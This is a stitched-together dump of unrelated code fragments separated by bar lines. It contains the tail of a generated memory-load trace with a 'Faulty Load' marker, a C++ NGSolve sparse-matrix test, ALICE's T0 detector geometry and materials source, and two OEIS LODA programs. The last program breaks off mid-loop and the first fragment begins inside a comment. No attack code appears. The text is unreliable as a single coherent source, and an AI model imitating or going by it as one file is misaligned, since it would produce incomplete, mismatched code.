{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'58': 25}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
// /micNfs/netgen/bin/ngscxx test_matrix_mul.cpp -lngstd -lsolve -lngcomp -lngfem -linterface -limf -lsvml -lirng -lintlc -lmkl_rt -L/micNfs/intel/mkl/lib/mic/
#include <solve.hpp>
#include "mysparsematrix.hpp"
using namespace ngsolve;
int main( int argc, char *argv[] ) {
if(argc<2) {
cout << "usage: " << argv[0] << " matfile" << endl;
return -1;
}
char *matfile = argv[1];
cout << "Load Matrix from file " << matfile << endl;
SparseMatrix<double> tmat(0,0);
LoadMatrix(matfile, tmat);
MySparseMatrix mymat(tmat);
AutoVector vecx = mymat.CreateVector();
vecx = 2.0;
AutoVector vecy = mymat.CreateVector();
vecy = 3.0;
AutoVector vecy1 = mymat.CreateVector();
vecy1 = 3.0;
AutoVector vecy2 = mymat.CreateVector();
vecy2 = 3.0;
AutoVector vecy3 = mymat.CreateVector();
vecy3 = 3.0;
AutoVector vecy4 = mymat.CreateVector();
vecy4 = 3.0;
AutoVector vecy5 = mymat.CreateVector();
vecy5 = 3.0;
AutoVector vecy6 = mymat.CreateVector();
vecy6 = 3.0;
AutoVector vecy7 = mymat.CreateVector();
vecy7 = 3.0;
AutoVector vecy8 = mymat.CreateVector();
vecy8 = 3.0;
mymat.MultAdd1(2.0, vecx, vecy);
mymat.TranMultAdd1(2.0, vecx, vecy1);
mymat.MultAdd2(2.0, vecx, vecy2);
mymat.MultAdd3(2.0, vecx, vecy3);
mymat.TranMultAdd2(2.0, vecx, vecy5);
mymat.TranMultAdd3(2.0, vecx, vecy6);
mymat.TranMultAdd4(2.0, vecx, vecy7);
mymat.TranMultAdd5(2.0, vecx, vecy8);
AutoVector diff2= mymat.CreateVector();
AutoVector diff3= mymat.CreateVector();
AutoVector diff5= mymat.CreateVector();
AutoVector diff6= mymat.CreateVector();
AutoVector diff7= mymat.CreateVector();
AutoVector diff8= mymat.CreateVector();
diff2 = vecy - vecy2;
diff3 = vecy - vecy3;
diff5 = vecy1 - vecy5;
diff6 = vecy1 - vecy6;
diff7 = vecy1 - vecy7;
diff8 = vecy1 - vecy8;
cout << "LNORM2(vecy - vecy2) -sequential " << L2Norm(diff2) << endl;
cout << "LNORM2(vecy - vecy3) -parallel " << L2Norm(diff3) << endl;
cout << "LNORM2(vecy1 - vecy5) -Trans parallel for static " << L2Norm(diff5) << endl;
cout << "LNORM2(vecy1 - vecy6) -Trans balancing " << L2Norm(diff6) << endl;
cout << "LNORM2(vecy1 - vecy7) -Trans coloring " << L2Norm(diff7) << endl;
cout << "LNORM2(vecy1 - vecy8) -Trans parallel for dynamic 100 " << L2Norm(diff8) << endl;
}
|
; A062026: a(n) = n(n+1)(n^2 -3n +6)/4
; 0,2,6,18,50,120,252,476,828,1350,2090,3102,4446,6188,8400,11160,14552,18666,23598,29450,36330,44352,53636,64308,76500,90350,106002,123606,143318,165300,189720,216752,246576,279378,315350,354690,397602,444296,494988,549900,609260,673302,742266,816398,895950,981180,1072352,1169736,1273608,1384250,1501950,1627002,1759706,1900368,2049300,2206820,2373252,2548926,2734178,2929350,3134790,3350852,3577896,3816288,4066400,4328610,4603302,4890866,5191698,5506200,5834780,6177852,6535836,6909158,7298250,7703550,8125502,8564556,9021168,9495800,9988920,10501002,11032526,11583978,12155850,12748640,13362852,13998996,14657588,15339150,16044210,16773302,17526966,18305748,19110200,19940880,20798352,21683186,22595958,23537250,24507650,25507752,26538156,27599468,28692300,29817270,30975002,32166126,33391278,34651100,35946240,37277352,38645096,40050138,41493150,42974810,44495802,46056816,47658548,49301700,50986980,52715102,54486786,56302758,58163750,60070500,62023752,64024256,66072768,68170050,70316870,72514002,74762226,77062328,79415100,81821340,84281852,86797446,89368938,91997150,94682910,97427052,100230416,103093848,106018200,109004330,112053102,115165386,118342058,121584000,124892100,128267252,131710356,135222318,138804050,142456470,146180502,149977076,153847128,157791600,161811440,165907602,170081046,174332738,178663650,183074760,187567052,192141516,196799148,201540950,206367930,211281102,216281486,221370108,226548000,231816200,237175752,242627706,248173118,253813050,259548570,265380752,271310676,277339428,283468100,289697790,296029602,302464646,309004038,315648900,322400360,329259552,336227616,343305698,350494950,357796530,365211602,372741336,380386908,388149500,396030300,404030502,412151306,420393918,428759550,437249420,445864752,454606776,463476728,472475850,481605390,490866602,500260746,509789088,519452900,529253460,539192052,549269966,559488498,569848950,580352630,591000852,601794936,612736208,623826000,635065650,646456502,657999906,669697218,681549800,693559020,705726252,718052876,730540278,743189850,756002990,768981102,782125596,795437888,808919400,822571560,836395802,850393566,864566298,878915450,893442480,908148852,923036036,938105508,953358750
mov $1,$0
mov $2,2
lpb $2,1
bin $0,2
add $1,$0
sub $2,1
lpe
mul $1,2
|
/**************************************************************************
* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *
* *
* Author: The ALICE Off-line Project. *
* Contributors are mentioned in the code where appropriate. *
* *
* Permission to use, copy, modify and distribute this software and its *
* documentation strictly for non-commercial purposes is hereby granted *
* without fee, provided that the above copyright notice appears in all *
* copies and that both the copyright notice and this permission notice *
* appear in the supporting documentation. The authors make no claims *
* about the suitability of this software for any purpose. It is *
* provided "as is" without express or implied warranty. *
**************************************************************************/
/* $Id$ */
/////////////////////////////////////////////////////////////////////
// //
// T0 ( T-zero) detector version 0 //
//
//Begin Html
/*
<img src="gif/AliT0v0Class.gif">
*/
//End Html
// //
// //
//////////////////////////////////////////////////////////////////////
#include <Riostream.h>
#include <stdlib.h>
#include <TGeoGlobalMagField.h>
#include <TLorentzVector.h>
#include <TMath.h>
#include <TVirtualMC.h>
#include "AliLog.h"
#include "AliMagF.h"
#include "AliRun.h"
#include "AliT0hit.h"
#include "AliT0v0.h"
#include "AliLog.h"
ClassImp(AliT0v0)
//--------------------------------------------------------------------
AliT0v0::AliT0v0(const char *name, const char *title):
AliT0(name,title),
fIdSens1(0)
{
//
// Standart constructor for T0 Detector version 0
//
// fIdSens1=0;
// setBufferSize(128000);
}
//-------------------------------------------------------------------------
void AliT0v0::CreateGeometry()
{
//
// Create the geometry of T0 Detector version 0
// Full geometry with support structure according T0 prototype
//
// begin Html
/*
<img src="gif/AliT0v0.gif">
*/
//
Int_t *idtmed = fIdtmed->GetArray();
Int_t is;
Int_t idrotm[999];
Float_t x,y,z;
Float_t pstartR[18]={0., 360., 5.,
-76.5+0.00+69.7, 4.25, 10.,
-76.5+6.05+69.7, 4.5, 10.,
-76.5+8.05+69.7, 4.5, 10.,
-76.5+8.05+69.7, 5.1, 10.,
-62.9+0.00+69.7, 5.1, 10.};
Float_t pstart[3]={4.3, 12.,6.8};
Float_t pinstart[3]={0.,1.6,6.5};
Float_t ppmt[3]={0.,1.5,3.5};
Float_t preg[3]={0.,0.875,0.005}; //dobavil bogdanov
Float_t pdivider[3]={0.,1.2,1.75};
Float_t pdiv2[3]={0.,1.2,1.25};
Float_t pdiv1[3]={0.6,1.2,0.5};
// Float_t ptop[3]={0.,1.3,1.5};
Float_t ptop[3]={0.,1.0,1.5};
Float_t pbot[3]={0.6,1.2,0.1};
Float_t pglass[3]={1.2,1.3,2.};
Float_t pcer[3]={0.9,1.1,0.09};
Float_t psteel[3]={0.9,1.1,0.01};
Float_t ppins[3]={0.6,1.2,0.014};
Float_t phole[3]={0.6,1.2,0.015};
Float_t pknob[3]={0.5,0.6,0.4};
Float_t pknob_vac[3]={0.,0.5,0.4};
Float_t pknob_bot[3]={0.,0.6,0.05};
Float_t pribber[3] = {0.,1.2,2.413/2.};
Float_t presist[3] = {0.,1.2,0.087/2.};
Float_t psupport1[3] = {4.51,4.6,4.0};//C kozhuh vnutri
Float_t psupport2[3] = {9.4,9.5,4.0};// snaruzhi C
Float_t psupport3[3] = {4.51,9.5,0.05};//kryshki C
Float_t psupport5[3] = {1.44,1.5,6.5}; // stakanchik dlai feu C
Float_t psupport6[3] = {0,1.5,0.05}; //kryshechka stakanchika Al
Float_t psupport7[3] = {1.5,1.6,0.6}; //kolechko snaruzhu stakanchika Al
// Mother Volume katushka dlia krepezha vokrug truby k Absorbru
AliMatrix(idrotm[901], 90., 0., 90., 90., 180., 0.);
Float_t ppcon[70];
ppcon[0] = 0;
ppcon[1] = 360;
ppcon[2] = 13;
// 1:
ppcon[3] = 14.1/2;
ppcon[4] = 4.4;
ppcon[5] = 4.5;
// 2
ppcon[6] = ppcon[3]+1.;
ppcon[7] = 4.4;
ppcon[8] = 4.5;
// 3
ppcon[9] = ppcon[6];
ppcon[10] = 4.4;
ppcon[11] = 5.1;
// 4
ppcon[12] = ppcon[9]+0.1;
ppcon[13] = 4.4;
ppcon[14] = 5.1;
// 5
ppcon[15] = ppcon[12];
ppcon[16] = 4.9;
ppcon[17] = 5.1;
// 6
ppcon[18] = ppcon[15]+7.05;
ppcon[19] = 4.9;
ppcon[20] = 5.1;
// 7
ppcon[21] = ppcon[18];
ppcon[22] = 4.9;
ppcon[23] = 5.1;
/// 8
ppcon[24] = ppcon[21]+0.01;
ppcon[25] = 3.15;
ppcon[26] = 3.25;
/// 9
ppcon[27] = ppcon[24];
ppcon[28] = 3.15;
ppcon[29] = 3.25;
// 10
ppcon[30] = ppcon[27]+4.5;
ppcon[31] = 3.15;
ppcon[32] = 3.25;
// 11
ppcon[33] = ppcon[30];
ppcon[34] = 3.15;
ppcon[35] = 3.25;
// 12
ppcon[36] = ppcon[33];
ppcon[37] = 3.15;
ppcon[38] = 7.6;
// 13
ppcon[39] = ppcon[33]+0.4;
ppcon[40] = 3.15;
ppcon[41] = 7.6;
// 14
// ppcon[39] = ppcon[36];
// ppcon[40] = 3.15;
// ppcon[41] = 7.6;
TVirtualMC::GetMC()->Gsvolu("0SUP", "PCON", idtmed[kAir], ppcon,42);
z=-69.7;//-14.1/2;
TVirtualMC::GetMC()->Gspos("0SUP",1,"ALIC",0.,0.,z,idrotm[901],"ONLY");
Float_t zdetRight=69.7,zdetLeft=350;
//-------------------------------------------------------------------
// T0 volume
//-------------------------------------------------------------------
TVirtualMC::GetMC()->Gsvolu("0STR","PCON",idtmed[kAir],pstartR,18);
TVirtualMC::GetMC()->Gsvolu("0STL","TUBE",idtmed[kAir],pstart,3);
TVirtualMC::GetMC()->Gspos("0STR",1,"ALIC",0.,0.,-zdetRight-pstart[2],idrotm[901],"ONLY");
TVirtualMC::GetMC()->Gspos("0STL",1,"ALIC",0.,0.,zdetLeft+pstart[2],0,"ONLY");
//T0 interior
TVirtualMC::GetMC()->Gsvolu("0INS","TUBE",idtmed[kAir],pinstart,3);
TVirtualMC::GetMC()->Gsvolu("0PMT","TUBE",idtmed[kOpAir],ppmt,3);
TVirtualMC::GetMC()->Gsvolu("0DIV","TUBE",idtmed[kVac],pdivider,3);
TVirtualMC::GetMC()->Gsvolu("0SU1","TUBE",idtmed[kC],psupport1,3);//C kozhuh vnutri
TVirtualMC::GetMC()->Gsvolu("0SU2","TUBE",idtmed[kC],psupport2,3);// snaruzhi C
TVirtualMC::GetMC()->Gsvolu("0SU3","TUBE",idtmed[kC],psupport3,3);//kryshka perednaiai C
TVirtualMC::GetMC()->Gsvolu("0SU4","TUBE",idtmed[kC],psupport3,3);//kryshka zadnaiai C
// TVirtualMC::GetMC()->Gsvolu("0SU5","TUBE",idtmed[kAir],psupport4,3);// dyrki dlia feu v zadnej kryshke Air
TVirtualMC::GetMC()->Gsvolu("0SU6","TUBE",idtmed[kC],psupport5,3);// stakanchik dlai feu C
TVirtualMC::GetMC()->Gsvolu("0SU7","TUBE",idtmed[kAl],psupport6,3);//kryshechka stakanchika Al
TVirtualMC::GetMC()->Gsvolu("0SU8","TUBE",idtmed[kAl],psupport7,3);//kolechko snaruzhu stakanchika Al
// first ring: 12 units of Scintillator+PMT+divider
Float_t theta = (180 / TMath::Pi()) * TMath::ATan(6.5 / zdetRight);
Float_t angle = 2 * TMath::Pi() / 12;
Float_t phi[3];
for (is=0; is<12; is++)
{
x = 6.5 * TMath::Sin(is * angle);
y = 6.5 * TMath::Cos(is * angle);
phi[0] = -30 * is;
phi[1] = 90 - is * 30;
phi[2] = 90 - is * 30;
for (Int_t j = 0; j < 3; j++)
if (phi[j] < 0) phi[j] += 360;
AliMatrix (idrotm[902 + is], 90., phi[0],
90. + theta, phi[1],
theta, phi[2]);
z=-pstart[2]+pinstart[2]+0.2;
TVirtualMC::GetMC()->Gspos ("0INS", is + 1, "0STR", x, y, z, idrotm[902 + is], "ONLY");
TVirtualMC::GetMC()->Gspos ("0INS", is + 13, "0STL", x, y, z, 0, "ONLY");
x = 9 * TMath::Sin(angle/2+is * angle);
y = 9 * TMath::Cos(angle/2+is * angle);
TVirtualMC::GetMC()->Gspos ("0INS", is + 25, "0STL", x, y, z, 0, "ONLY");
}
x=0;
y=0;
z=-pinstart[2]+ppmt[2]+2.*psupport6[2]+0.1;
TVirtualMC::GetMC()->Gspos("0PMT",1,"0INS",x,y,z,0,"ONLY");
z=z+pdivider[2]+ppmt[2];
TVirtualMC::GetMC()->Gspos("0DIV",1,"0INS",x,y,z,0,"ONLY");
// PMT
// Entry window (glass)
TVirtualMC::GetMC()->Gsvolu("0TOP","TUBE",idtmed[kOpGlass],ptop,3); //glass
// TVirtualMC::GetMC()->Gsvolu("0TOP","TUBE",idtmed[12],ptop,3); //lucite
z=-ppmt[2]+ptop[2];
TVirtualMC::GetMC()->Gspos("0TOP",1,"0PMT",0,0,z,0,"ONLY");
//Fotokatod
TVirtualMC::GetMC()->Gsvolu ("0REG", "TUBE", idtmed[kOpGlass], preg, 3); //photocathode dobavil bogdanov(AliT0v2)
z = -ppmt[2] + 2 * ptop[2] + preg[2]; //photocathode dobavil bogdanov
TVirtualMC::GetMC()->Gspos ("0REG", 1, "0PMT", 0, 0, z, 0, "ONLY"); //photocathode dobavil bogdanov(AliT0v2)
// Bottom glass
TVirtualMC::GetMC()->Gsvolu("0BOT","TUBE",idtmed[kGlass],pbot,3);
z=ppmt[2]-pbot[2];
AliDebugClass(1,Form(" Z bottom %f\n",z));
TVirtualMC::GetMC()->Gspos("0BOT",1,"0PMT",0,0,z,0,"ONLY");
// Side cylinder glass
TVirtualMC::GetMC()->Gsvolu("0OUT","TUBE",idtmed[kGlass],pglass,3);
z=ppmt[2]-pglass[2];
TVirtualMC::GetMC()->Gspos("0OUT",1,"0PMT",0,0,z,0,"ONLY");
//PMT electrodes support structure
TVirtualMC::GetMC()->Gsvolu("0CER","TUBE",idtmed[kCer],pcer,3);
TVirtualMC::GetMC()->Gsvolu("0STE","TUBE",idtmed[kSteel],psteel,3);
z=-ppmt[2]+2*ptop[2]+0.3;;
for (is=1; is<=15; is++)
{
z=z+psteel[2]+pcer[2];
TVirtualMC::GetMC()->Gspos("0CER",is,"0PMT",0,0,z,0,"ONLY");
z=z+psteel[2]+pcer[2];
TVirtualMC::GetMC()->Gspos("0STE",is,"0PMT",0,0,z,0,"ONLY");
}
// Divider
// Knob at the bottom of PMT baloon
TVirtualMC::GetMC()->Gsvolu("0NB","TUBE",idtmed[6],pknob,3);
z=-pdivider[2]+pknob[2];
TVirtualMC::GetMC()->Gspos("0NB",1,"0DIV",0,0,z,0,"ONLY");
TVirtualMC::GetMC()->Gsvolu("0KB","TUBE",idtmed[kGlass],pknob_bot,3);
z=-pdivider[2]+2*pknob[2]+pknob_bot[2];
TVirtualMC::GetMC()->Gspos("0KB",1,"0DIV ",0,0,z,0,"ONLY");
TVirtualMC::GetMC()->Gsvolu("0VAC","TUBE",idtmed[kVac],pknob_vac,3);
z=-pdivider[2]+pknob_vac[2];
TVirtualMC::GetMC()->Gspos("0VAC",1,"0DIV",0,0,z,0,"ONLY");
//Steel pins + pin holes
TVirtualMC::GetMC()->Gsvolu("0PIN","TUBE",idtmed[kSteel],ppins,3);
z=-pdivider[2]+ppins[2];
TVirtualMC::GetMC()->Gspos("0PIN",1,"0DIV",0,0,z,0,"ONLY");
TVirtualMC::GetMC()->Gsvolu("0HOL","TUBE",idtmed[kBrass],phole,3);
z=-pdivider[2]+2*ppins[2]+phole[2];
TVirtualMC::GetMC()->Gspos("0HOL",1,"0DIV",0,0,z,0,"ONLY");
//Socket
TVirtualMC::GetMC()->Gsvolu("0V1","TUBE",idtmed[kCer],pdiv1,3);
z=-pdivider[2]+pdiv1[2];
TVirtualMC::GetMC()->Gspos("0V1",1,"0DIV",0,0,z,0,"ONLY");
//Resistors
TVirtualMC::GetMC()->Gsvolu("0V2","TUBE",idtmed[kAir],pdiv2,3);
z=pdivider[2]-pdiv2[2];
TVirtualMC::GetMC()->Gspos("0V2",1,"0DIV",0,0,z,0,"ONLY");
TVirtualMC::GetMC()->Gsvolu("0RS","TUBE",idtmed[kCer],presist,3);
z=-pdiv2[2]+presist[2];
TVirtualMC::GetMC()->Gspos("0RS",1,"0V2",0,0,z,0,"ONLY");
TVirtualMC::GetMC()->Gsvolu("0RB","TUBE",idtmed[kRibber],pribber,3);
z=pdiv2[2]-pribber[2];
TVirtualMC::GetMC()->Gspos("0RB",1,"0V2",0,0,z,0,"ONLY");
//Support left side
/*
z=-pstart[2]+psupport1[2];
TVirtualMC::GetMC()->Gspos("0SU1",2,"0STL",0,0,z,0,"ONLY"); //C kozhuh snaruzhi
TVirtualMC::GetMC()->Gspos("0SU2",2,"0STL",0,0,z,0,"ONLY"); //C kozhuh vnutri
z=-pstart[2]+psupport3[2];
TVirtualMC::GetMC()->Gspos("0SU3",2,"0STL",0,0,z,0,"ONLY"); //peredniaia kryshka
z=-pstart[2]+2.*psupport1[2];
TVirtualMC::GetMC()->Gspos("0SU4",2,"0STL",0,0,z,0,"MANY"); //zadnaiai kryshka
*/
z=-pstart[2]+psupport1[2]+0.1;
TVirtualMC::GetMC()->Gspos("0SU1",1,"0STR",0,0,z,0,"ONLY"); //C kozhuh snaruzhi
TVirtualMC::GetMC()->Gspos("0SU2",1,"0STR",0,0,z,0,"ONLY"); //C kozhuh vnutri
z=-pstart[2]+psupport3[2]+0.1;
TVirtualMC::GetMC()->Gspos("0SU3",1,"0STR",0,0,z,0,"ONLY"); //peredniaia kryshka
z=-pstart[2]+2.*psupport1[2]+0.1;
TVirtualMC::GetMC()->Gspos("0SU4",1,"0STR",0,0,z,0,"MANY"); //zadnaiai kryshka
TVirtualMC::GetMC()->Gspos("0SU6",1,"0INS",0,0,0,0,"ONLY");//C stakanchik dlia feu
z=-pinstart[2]+psupport6[2];
TVirtualMC::GetMC()->Gspos("0SU7",1,"0INS",0,0,z,0,"ONLY"); //Al kryshechka
z=pinstart[2]-psupport7[2];
TVirtualMC::GetMC()->Gspos("0SU8",1,"0INS",0,0,z,0,"ONLY"); //Al kolechko
Float_t par[3];
par[0]=4.4;
par[1]=4.5;
par[2]=0.5;
TVirtualMC::GetMC()->Gsvolu("0SC0","TUBE",idtmed[kC],par,3);
z=ppcon[3]+par[2];
TVirtualMC::GetMC()->Gspos("0SC0",1,"0SUP",0,0,z,0,"ONLY");
z += par[2];
par[0]=4.4;
par[1]=5.1;
par[2]=0.05;
TVirtualMC::GetMC()->Gsvolu("0SC1","TUBE",idtmed[kC],par,3);
z += par[2];
TVirtualMC::GetMC()->Gspos("0SC1",1,"0SUP",0,0,z,0,"ONLY");
z=z+par[2];
par[0]=4.9;
par[1]=5.0;
par[2]=6.9/2;
TVirtualMC::GetMC()->Gsvolu("0SC2","TUBE",idtmed[kC],par,3);
z += par[2];
TVirtualMC::GetMC()->Gspos("0SC2",1,"0SUP",0,0,z,0,"ONLY");
z += par[2];
/*
Float_t parC[5];
parC[0]=0.25;
parC[1]=5.1;
parC[2]=5.2;
parC[3]=5.5;
parC[4]=5.6;
TVirtualMC::GetMC()->Gsvolu("0SC3","CONE",idtmed[kC],parC,5);
z += parC[0];
TVirtualMC::GetMC()->Gspos("0SC3",1,"0SUP",0,0,z,0,"ONLY");
z += parC[0];
par[0]=5.5;
par[1]=5.6;
par[2]=1.2/2;
TVirtualMC::GetMC()->Gsvolu("0SC4","TUBE",idtmed[kC],par,3);
z += par[2];
TVirtualMC::GetMC()->Gspos("0SC4",1,"0SUP",0,0,z,0,"ONLY");
par[0]=5.1;
par[1]=5.5;
par[2]=1.2/2;
TVirtualMC::GetMC()->Gsvolu("0SA0","TUBE",idtmed[kAl],par,3);
TVirtualMC::GetMC()->Gspos("0SA0",1,"0SUP",0,0,z,0,"ONLY");
//gvozdi dlia skruchivaniia Al i C parts
par[0]=5.75;
par[1]=5.78;
TVirtualMC::GetMC()->Gsvolu("0SN1","TUBE",idtmed[kSteel],par,3);
TVirtualMC::GetMC()->Gspos("0SN1",1,"0SUP",0,0,z,0,"ONLY");
z += par[2];
*/
par[0]=3.15;
par[1]=4.9;
par[2]=0.1/2;
TVirtualMC::GetMC()->Gsvolu("0SA1","TUBE",idtmed[kAl],par,3);
z += par[2];
TVirtualMC::GetMC()->Gspos("0SA1",1,"0SUP",0,0,z,0,"ONLY");
z=z+par[2];
par[0]=3.15;
par[1]=3.16;
par[2]=4.5/2;
TVirtualMC::GetMC()->Gsvolu("0SA2","TUBE",idtmed[kAl],par,3);
z += par[2];
TVirtualMC::GetMC()->Gspos("0SA2",1,"0SUP",0,0,z,0,"ONLY");
z=z+par[2];
par[0]=3.16; // eta chast' prikruchena k absorberu
par[1]=7.5;
par[2]=0.2;
TVirtualMC::GetMC()->Gsvolu("0SA3","TUBE",idtmed[kAl],par,3);
z += par[2];
TVirtualMC::GetMC()->Gspos("0SA3",1,"0SUP",0,0,z,0,"ONLY");
par[0]=3.16; // gvozdi eta chast' prikruchena k absorberu
par[1]=7.5;
par[2]=0.01;
TVirtualMC::GetMC()->Gsvolu("0SN2","TUBE",idtmed[kSteel],par,3);
TVirtualMC::GetMC()->Gspos("0SN2",1,"0SUP",0,0,z,0,"ONLY");
}
//------------------------------------------------------------------------
void AliT0v0::CreateMaterials()
{
Int_t isxfld = ((AliMagF*)TGeoGlobalMagField::Instance()->GetField())->Integ();
Float_t sxmgmx = ((AliMagF*)TGeoGlobalMagField::Instance()->GetField())->Max();
Double_t a,z,d,radl,absl;
TArrayD par;
// Scintillator CH
Float_t ascin[2]={1.01,12.01};
Float_t zscin[2]={1,6};
Float_t wscin[2]={1,1};
Float_t denscin=1.03;
//Lucite C(CH3)CO2CH3
Float_t alucite[3]={1.01,12.01,15.999};
Float_t zlucite[3]={1,6,8};
Float_t wlucite[3]={8,5,2};
Float_t denlucite=1.16;
// PMT glass SiO2
Float_t aglass[2]={28.0855,15.9994};
Float_t zglass[2]={14.,8.};
Float_t wglass[2]={1.,2.};
Float_t dglass=2.65;
// Ceramic 97.2% Al2O3 , 2.8% SiO2
Float_t acer[2],zcer[2],wcer[2]={0.972,0.028};
Float_t aal2o3[2] = { 26.981539,15.9994 };
Float_t zal2o3[2] = { 13.,8. };
Float_t wal2o3[2] = { 2.,3. };
Float_t denscer = 3.6;
// Brass 80% Cu, 20% Zn
Float_t abrass[2] = {63.546,65.39};
Float_t zbrass[2] = {29,30};
Float_t wbrass[2] = {0.8,0.2};
Float_t denbrass=8.96;
//Ribber C6H12S
Float_t aribber[3] = {12.,1.,32.};
Float_t zribber[3] = {6.,1.,16.};
Float_t wribber[3] = {6.,12.,1.};
Float_t denribber=0.8;
// Support inside
Float_t asupport[2] = {12.,1.};
Float_t zsupport[2] = {6.,1.};
Float_t wsupport[2] = {1.,1.};
Float_t densupport=0.1;
// AIR
Float_t aAir[4]={12.0107,14.0067,15.9994,39.948};
Float_t zAir[4]={6.,7.,8.,18.};
Float_t wAir[4]={0.000124,0.755267,0.231781,0.012827};
Float_t dAir = 1.20479E-3;
//*** Definition Of avaible T0 materials ***
AliMaterial(0, "T0 Steel$", 55.850,26.,7.87,1.76,999);
AliMaterial(1, "T0 Vacuum$", 1.e-16,1.e-16,1.e-16,1.e16,999);
AliMixture(2, "T0 Air$", aAir, zAir, dAir,4,wAir);
AliMaterial(10, "CarbonPlastic$", 12.01, 6.0, 2.26, 18.8,999);
AliMaterial(11, "Aliminium$", 26.98, 13.0, 2.7, 8.9,999);
AliMixture( 3, "Al2O3 $", aal2o3, zal2o3, denscer, -2, wal2o3);
AliMixture( 4, "PMT glass $",aglass,zglass,dglass,-2,wglass);
TString namate;
TVirtualMC::GetMC()->GetMaterial((*fIdmate)[3], namate, a, z, d, radl, absl, par);
acer[0]=a;
zcer[0]=z;
TVirtualMC::GetMC()->GetMaterial((*fIdmate)[4], namate, a, z, d, radl, absl, par);
acer[1]=a;
zcer[1]=z;
AliMixture( 9, "Ceramic $", acer, zcer, denscer, 2, wcer);
AliMixture( 5, "Scintillator$",ascin,zscin,denscin,-2,wscin);
AliMixture( 6, "Brass $", abrass, zbrass, denbrass, 2, wbrass);
AliMixture( 7, "Ribber $",aribber,zribber,denribber,-3,wribber);
AliMixture( 8, "Lucite$",alucite,zlucite,denlucite,-3,wlucite);
AliMixture( 9, "Penoplast$",asupport,zsupport,densupport,-2,wsupport);
AliMedium(1, "T0 Air$", 2, 0, isxfld, sxmgmx, 10., .1, 1., .003, .003);
AliMedium(2, "Scintillator$", 5, 1, isxfld, sxmgmx, 10., .01, 1., .003, .003);
AliMedium(3, "Vacuum$", 1, 0, isxfld, sxmgmx, 10., .01, .1, .003, .003);
AliMedium(4, "Ceramic$", 9, 0, isxfld, sxmgmx, 10., .01, .1, .003, .003);
AliMedium(6, "Glass$", 4, 1, isxfld, sxmgmx, 10., .01, .1, .003, .003);
AliMedium(8, "Steel$", 0, 0, isxfld, sxmgmx, 1., .001, 1., .001, .001);
AliMedium(9, "Ribber $", 7, 0, isxfld, sxmgmx, 10., .01, .1, .003, .003);
AliMedium(11, "Brass $", 6, 0, isxfld, sxmgmx, 10., .01, .1, .003, .003);
AliMedium(12, "Lucite$", 8, 1, isxfld, sxmgmx, 10., .01, 1., .003, .003);
AliMedium(13, "CarbonPlastic$", 10, 0, isxfld, sxmgmx, 10., .01, 1., .003, .003);
AliMedium(14, "PenoPlast$", 9, 0, isxfld, sxmgmx, 10., .01, 1., .003, .003);
AliMedium(15, "Aluminium$", 11, 0, isxfld, sxmgmx, 10., .01, 1., .003, .003);
AliDebugClass(1,": ++++++++++++++Medium set++++++++++");
}
//-------------------------------------------------------------------
void AliT0v0::Init()
{
// Initialises version 0 of the Forward Multiplicity Detector
//
//Int_t *idtmed = gAlice->Idtmed();
AliT0::Init();
fIdSens1=TVirtualMC::GetMC()->VolId("0TOP");
AliDebug(1,Form("%s: *** T0 version 0 initialized ***\n",ClassName()));
}
//-------------------------------------------------------------------
void AliT0v0::StepManager()
{
//
// Called for every step in the T0 Detector
// See AliT0v1
}
//---------------------------------------------------------------------
|
; A003630: Inert rational primes in Q[sqrt(3)].
; Submitted by Jamie Morken(w4)
; 5,7,17,19,29,31,41,43,53,67,79,89,101,103,113,127,137,139,149,151,163,173,197,199,211,223,233,257,269,271,281,283,293,307,317,331,353,367,379,389,401,439,449,461,463,487,499,509,521,523,547,557,569,571,593,607,617,619,631,641,643,653,677,691,701,727,739,751,761,773,787,797,809,811,821,823,857,859,881,883,907,919,929,941,953,967,977,991,1013,1039,1049,1051,1061,1063,1087,1097,1109,1123,1171,1181
mov $1,2
mov $2,332202
mov $5,1
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,3
mov $4,$0
max $4,0
